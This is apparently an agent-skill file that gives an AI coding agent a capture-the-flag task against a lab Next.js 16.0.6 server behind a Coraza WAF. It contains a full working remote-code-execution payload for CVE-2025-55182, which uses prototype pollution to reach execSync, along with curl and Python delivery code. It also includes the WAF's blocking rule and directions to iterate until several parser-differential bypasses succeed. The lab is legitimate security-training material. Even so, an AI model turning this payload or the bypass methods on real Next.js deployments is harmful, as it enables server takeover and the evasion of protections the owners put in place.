skills/hacktronai/skills/waf-bypass-hunter

waf-bypass-hunter

SKILL.md

WAF Bypass Hunter

Objective

Bypass the WAF to execute the CVE-2025-55182 exploit payload and capture the flag.

Architecture

┌─────────┐    ┌─────────────┐    ┌─────────────────┐
│  Agent  │───▶│ Coraza WAF  │───▶│ Next.js 16.0.6  │
│         │    │ (Go)        │    │ (Node.js)       │
│         │    │ Port: 9091  │    │ Port: 3000      │
└─────────┘    └─────────────┘    └─────────────────┘

The Exploit (CVE-2025-55182)

This payload triggers RCE in Next.js 16 via prototype pollution:

POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489

--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"

"$@0"
--yyy--

This payload is BLOCKED by the WAF because it contains:

  • :constructor
  • __proto__

Your Goal

Find as many WAF bypasses as possible. There are approximately 5 different bypass techniques that work.

For each bypass, deliver the payload such that:

  1. Bypasses WAF detection - WAF doesn't see the blocked patterns
  2. Backend parses correctly - Next.js/Busboy decodes and processes it
  3. Triggers the exploit - RCE executes and returns the flag

Each bypass exploits a different parser differential between Go and Node.js.

Testing Method

Quick PoC Testing (Direct to WAF)

Use curl or Python directly against the WAF at http://localhost:9091/:

curl --path-as-is -i -s -k -X POST \
    -H 'Host: localhost' \
    -H 'Next-Action: x' \
    -H 'Content-Type: multipart/form-data; boundary=yyy' \
    --data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
    'http://localhost:9091/'
import requests

resp = requests.post(
    "http://localhost:9091/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect"))  # Flag is here!
print(resp.text)

Note: The flag appears in the X-Action-Redirect response header, not the body!

Debugging (Sandbox Executor)

Use the executor only when you need WAF logs to understand why a request was blocked:

curl -X POST http://localhost:8009/execute \
  -H "Content-Type: application/json" \
  -d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'

Response includes WAF logs:

{
  "stdout": "403",
  "stderr": "",
  "waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
  "execution_time_ms": 123
}

Example: Blocked Request

import requests

payload = '''--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''

resp = requests.post(
    "http://waf:9090/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)  # 403 - Blocked by WAF
print(resp.text)

Available Source Code

Study parser implementations in sources/:

  • sources/coraza/internal/bodyprocessors/ - WAF's parser (Go)
  • sources/busboy/lib/ - Backend's parser (Node.js)
  • sources/nextjs/packages/next/src/server/ - Next.js server action handling

Success Criteria

IMPORTANT: A bypass is ONLY valid if the flag is successfully read.

Hypothetical or theoretical bypasses do NOT count. You must:

  1. Execute the payload against the WAF
  2. Receive the flag in the response
  3. Show the captured flag as proof

For each confirmed bypass:

  • Document the technique used
  • Show the exact working payload
  • Show the captured flag

The flag may appear in:

  • Response headers (e.g., X-Action-Redirect)
  • Response body
  • Error messages

The flag format is HACKTRON{...}

WAF Rules (what you're bypassing)

# Block prototype pollution patterns
SecRule REQUEST_BODY|ARGS "@rx (?:__proto__|:constructor)" "id:1008,deny"

Approach

  1. Analyze source code in sources/
  2. Identify where Go and Node.js parse differently
  3. Craft payload that exploits the differential
  4. Test PoC directly against WAF at localhost:9091
  5. If blocked, use executor to get WAF logs and understand why
  6. Iterate until flag is captured
  7. If a technique doesn't work, move on - read more code, look for alternative differentials
  8. Keep hunting - find more bypasses using different techniques!
Weekly Installs
19
GitHub Stars
91
First Seen
Jan 24, 2026
Installed on
opencode14
codex13
claude-code13
gemini-cli11
cursor10
antigravity8